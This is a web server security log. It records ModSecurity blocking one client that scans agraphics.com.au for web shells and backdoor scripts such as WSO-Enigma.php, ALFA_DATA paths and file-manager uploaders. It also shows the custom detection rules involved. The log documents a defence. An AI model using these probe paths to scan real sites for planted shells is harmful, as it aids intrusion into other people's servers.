[Sat Feb 28 14:53:55.639600 2026] [:error] [pid 52460:tid 52477] [client 13.71.191.191:64980] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sundax.Php"] [unique_id "aaKRA7LWOogAgHGh62R8BQAAAY4"]
[Sat Feb 28 14:53:56.222015 2026] [:error] [pid 39185:tid 39261] [client 13.71.191.191:64968] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/pages.php"] [unique_id "aaKRBBVE-FfM89u7BQYyUwAAAI8"]
[Sat Feb 28 14:53:56.820684 2026] [:error] [pid 39185:tid 39257] [client 13.71.191.191:64963] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/pages.php"] [unique_id "aaKRBBVE-FfM89u7BQYyVgAAAIs"]
[Sat Feb 28 14:53:57.286509 2026] [:error] [pid 39292:tid 39316] [client 13.71.191.191:11532] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/pages.php"] [unique_id "aaKRBaIAO5fN7BxyqcH1iwAAANY"]
[Sat Feb 28 14:53:57.850517 2026] [:error] [pid 39183:tid 39194] [client 13.71.191.191:11529] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/pages.php"] [unique_id "aaKRBRCf4HvhVePw3Lb7CAAAAAI"]
[Sat Feb 28 14:53:58.339154 2026] [:error] [pid 39185:tid 39266] [client 13.71.191.191:11564] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/item.php"] [unique_id "aaKRBhVE-FfM89u7BQYyXAAAAJQ"]
[Sat Feb 28 14:53:58.988448 2026] [:error] [pid 39185:tid 39248] [client 13.71.191.191:64965] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/item.php"] [unique_id "aaKRBhVE-FfM89u7BQYyZAAAAII"]
[Sat Feb 28 14:53:59.611726 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:64983] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/item.php"] [unique_id "aaKRB2uX5e1Q32gqxH1SGwAAARc"]
[Sat Feb 28 14:54:00.195577 2026] [:error] [pid 11791:tid 11804] [client 13.71.191.191:11533] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/item.php"] [unique_id "aaKRCGuX5e1Q32gqxH1SHQAAAQs"]
[Sat Feb 28 14:54:00.749886 2026] [:error] [pid 39185:tid 39257] [client 13.71.191.191:64974] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaKRCBVE-FfM89u7BQYyeAAAAIs"]
[Sat Feb 28 14:54:01.363133 2026] [:error] [pid 39185:tid 39259] [client 13.71.191.191:11537] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaKRCRVE-FfM89u7BQYygQAAAI0"]
[Sat Feb 28 14:54:01.941422 2026] [:error] [pid 22194:tid 22196] [client 13.71.191.191:11528] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaKRCX6mbajs3bzQGyte0AAAAUA"]
[Sat Feb 28 14:54:02.752838 2026] [:error] [pid 39185:tid 39267] [client 13.71.191.191:11522] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaKRChVE-FfM89u7BQYykQAAAJU"]
[Sat Feb 28 14:54:03.344227 2026] [:error] [pid 39183:tid 39199] [client 13.71.191.191:11581] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qpglkpgm.php"] [unique_id "aaKRCxCf4HvhVePw3Lb7CwAAAAc"]
[Sat Feb 28 14:54:04.021621 2026] [:error] [pid 39292:tid 39309] [client 13.71.191.191:11550] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qpglkpgm.php"] [unique_id "aaKRDKIAO5fN7BxyqcH1kgAAAM8"]
[Sat Feb 28 14:54:04.801655 2026] [:error] [pid 39184:tid 39220] [client 13.71.191.191:64918] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qpglkpgm.php"] [unique_id "aaKRDFtZF9Zd_U7easDyaAAAAEE"]
[Sat Feb 28 14:54:05.253215 2026] [:error] [pid 39292:tid 39316] [client 13.71.191.191:11531] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qpglkpgm.php"] [unique_id "aaKRDaIAO5fN7BxyqcH1lQAAANY"]
[Sat Feb 28 14:54:05.858232 2026] [:error] [pid 39184:tid 39231] [client 13.71.191.191:11576] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms.php"] [unique_id "aaKRDVtZF9Zd_U7easDyawAAAEw"]
[Sat Feb 28 14:54:06.332616 2026] [:error] [pid 39185:tid 39255] [client 13.71.191.191:64991] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms.php"] [unique_id "aaKRDhVE-FfM89u7BQYysgAAAIk"]
[Sat Feb 28 14:54:06.861837 2026] [:error] [pid 39185:tid 39263] [client 13.71.191.191:11542] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms.php"] [unique_id "aaKRDhVE-FfM89u7BQYyuwAAAJE"]
[Sat Feb 28 14:54:07.375592 2026] [:error] [pid 52460:tid 52487] [client 13.71.191.191:65023] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms.php"] [unique_id "aaKRD7LWOogAgHGh62R8KwAAAZg"]
[Sat Feb 28 14:54:07.896982 2026] [:error] [pid 39185:tid 39263] [client 13.71.191.191:64971] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maint/jp.php"] [unique_id "aaKRDxVE-FfM89u7BQYyxwAAAJE"]
[Sat Feb 28 14:54:08.399783 2026] [:error] [pid 39183:tid 39194] [client 13.71.191.191:64927] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maint/jp.php"] [unique_id "aaKREBCf4HvhVePw3Lb7HgAAAAI"]
[Sat Feb 28 14:54:08.868468 2026] [:error] [pid 39185:tid 39265] [client 13.71.191.191:11538] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maint/jp.php"] [unique_id "aaKREBVE-FfM89u7BQYy0AAAAJM"]
[Sat Feb 28 14:54:09.358542 2026] [:error] [pid 39185:tid 39249] [client 13.71.191.191:11552] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maint/jp.php"] [unique_id "aaKRERVE-FfM89u7BQYy0wAAAIM"]
[Sat Feb 28 14:54:09.796205 2026] [:error] [pid 22194:tid 22197] [client 13.71.191.191:11543] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaKREX6mbajs3bzQGyte1gAAAUE"]
[Sat Feb 28 14:54:10.225776 2026] [:error] [pid 11791:tid 11815] [client 13.71.191.191:11580] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaKREmuX5e1Q32gqxH1SJAAAARY"]
[Sat Feb 28 14:54:10.659253 2026] [:error] [pid 52460:tid 52477] [client 13.71.191.191:11582] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaKRErLWOogAgHGh62R8NQAAAY4"]
[Sat Feb 28 14:54:11.127920 2026] [:error] [pid 22194:tid 22208] [client 13.71.191.191:64969] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaKRE36mbajs3bzQGyte1wAAAUw"]
[Sat Feb 28 14:54:11.602231 2026] [:error] [pid 39185:tid 39267] [client 13.71.191.191:65008] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/commands/webix.php"] [unique_id "aaKRExVE-FfM89u7BQYy3gAAAJU"]
[Sat Feb 28 14:54:12.195583 2026] [:error] [pid 39185:tid 39250] [client 13.71.191.191:64966] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaKRFBVE-FfM89u7BQYy5AAAAIQ"]
[Sat Feb 28 14:54:12.686915 2026] [:error] [pid 39184:tid 39235] [client 13.71.191.191:65018] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaKRFFtZF9Zd_U7easDybwAAAFA"]
[Sat Feb 28 14:54:13.128110 2026] [:error] [pid 39185:tid 39246] [client 13.71.191.191:11530] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaKRFRVE-FfM89u7BQYy5wAAAIA"]
[Sat Feb 28 14:54:13.629278 2026] [:error] [pid 39292:tid 39313] [client 13.71.191.191:65019] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaKRFaIAO5fN7BxyqcH1oAAAANM"]
[Sat Feb 28 14:54:14.185632 2026] [:error] [pid 39292:tid 39317] [client 13.71.191.191:64951] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaKRFqIAO5fN7BxyqcH1ogAAANc"]
[Sat Feb 28 14:54:14.659090 2026] [:error] [pid 52460:tid 52471] [client 13.71.191.191:64977] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaKRFrLWOogAgHGh62R8SgAAAYg"]
[Sat Feb 28 14:54:15.094550 2026] [:error] [pid 52460:tid 52464] [client 13.71.191.191:64978] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaKRF7LWOogAgHGh62R8TwAAAYE"]
[Sat Feb 28 14:54:15.594690 2026] [:error] [pid 52460:tid 52479] [client 13.71.191.191:11570] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaKRF7LWOogAgHGh62R8UwAAAZA"]
[Sat Feb 28 14:54:16.026013 2026] [:error] [pid 39185:tid 39247] [client 13.71.191.191:11554] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaKRGBVE-FfM89u7BQYy8QAAAIE"]
[Sat Feb 28 14:54:16.508866 2026] [:error] [pid 39185:tid 39254] [client 13.71.191.191:64897] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaKRGBVE-FfM89u7BQYy9QAAAIg"]
[Sat Feb 28 14:54:16.978258 2026] [:error] [pid 22194:tid 22216] [client 13.71.191.191:64989] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaKRGH6mbajs3bzQGyte4AAAAVQ"]
[Sat Feb 28 14:54:17.524455 2026] [:error] [pid 39185:tid 39270] [client 13.71.191.191:11559] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaKRGRVE-FfM89u7BQYy-QAAAJg"]
[Sat Feb 28 14:54:18.162166 2026] [:error] [pid 39185:tid 39251] [client 13.71.191.191:64904] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/WSO-Enigma.php"] [unique_id "aaKRGhVE-FfM89u7BQYzAAAAAIU"]
[Sat Feb 28 14:54:18.713242 2026] [:error] [pid 22194:tid 22198] [client 13.71.191.191:64997] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/WSO-Enigma.php"] [unique_id "aaKRGn6mbajs3bzQGyte4wAAAUI"]
[Sat Feb 28 14:54:19.153259 2026] [:error] [pid 11791:tid 11817] [client 13.71.191.191:11539] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/WSO-Enigma.php"] [unique_id "aaKRG2uX5e1Q32gqxH1SOQAAARg"]
[Sat Feb 28 14:54:19.584876 2026] [:error] [pid 52460:tid 52465] [client 13.71.191.191:11548] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/WSO-Enigma.php"] [unique_id "aaKRG7LWOogAgHGh62R8ZAAAAYI"]
[Sat Feb 28 14:54:20.087179 2026] [:error] [pid 39185:tid 39265] [client 13.71.191.191:12260] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general/cache/plugins.php"] [unique_id "aaKRHBVE-FfM89u7BQYzCQAAAJM"]
[Sat Feb 28 14:54:20.510406 2026] [:error] [pid 52460:tid 52479] [client 13.71.191.191:64979] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general/cache/plugins.php"] [unique_id "aaKRHLLWOogAgHGh62R8cAAAAZA"]
[Sat Feb 28 14:54:20.925807 2026] [:error] [pid 39183:tid 39205] [client 13.71.191.191:11547] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general/cache/plugins.php"] [unique_id "aaKRHBCf4HvhVePw3Lb7PgAAAA0"]
[Sat Feb 28 14:54:21.351176 2026] [:error] [pid 39292:tid 39303] [client 13.71.191.191:11569] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general/cache/plugins.php"] [unique_id "aaKRHaIAO5fN7BxyqcH1tAAAAMk"]
[Sat Feb 28 14:54:21.808032 2026] [:error] [pid 22194:tid 22214] [client 13.71.191.191:64917] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/gif.php"] [unique_id "aaKRHX6mbajs3bzQGyte5QAAAVI"]
[Sat Feb 28 14:54:22.242293 2026] [:error] [pid 39184:tid 39242] [client 13.71.191.191:11573] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/block/moon.php"] [unique_id "aaKRHltZF9Zd_U7easDydgAAAFc"]
[Sat Feb 28 14:54:22.698519 2026] [:error] [pid 11791:tid 11806] [client 13.71.191.191:64994] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/themes.php"] [unique_id "aaKRHmuX5e1Q32gqxH1SPwAAAQ0"]
[Sat Feb 28 14:54:23.139121 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:64990] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/themes.php"] [unique_id "aaKRH2uX5e1Q32gqxH1SQwAAARc"]
[Sat Feb 28 14:54:23.554931 2026] [:error] [pid 11791:tid 11804] [client 13.71.191.191:65002] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/themes.php"] [unique_id "aaKRH2uX5e1Q32gqxH1SRwAAAQs"]
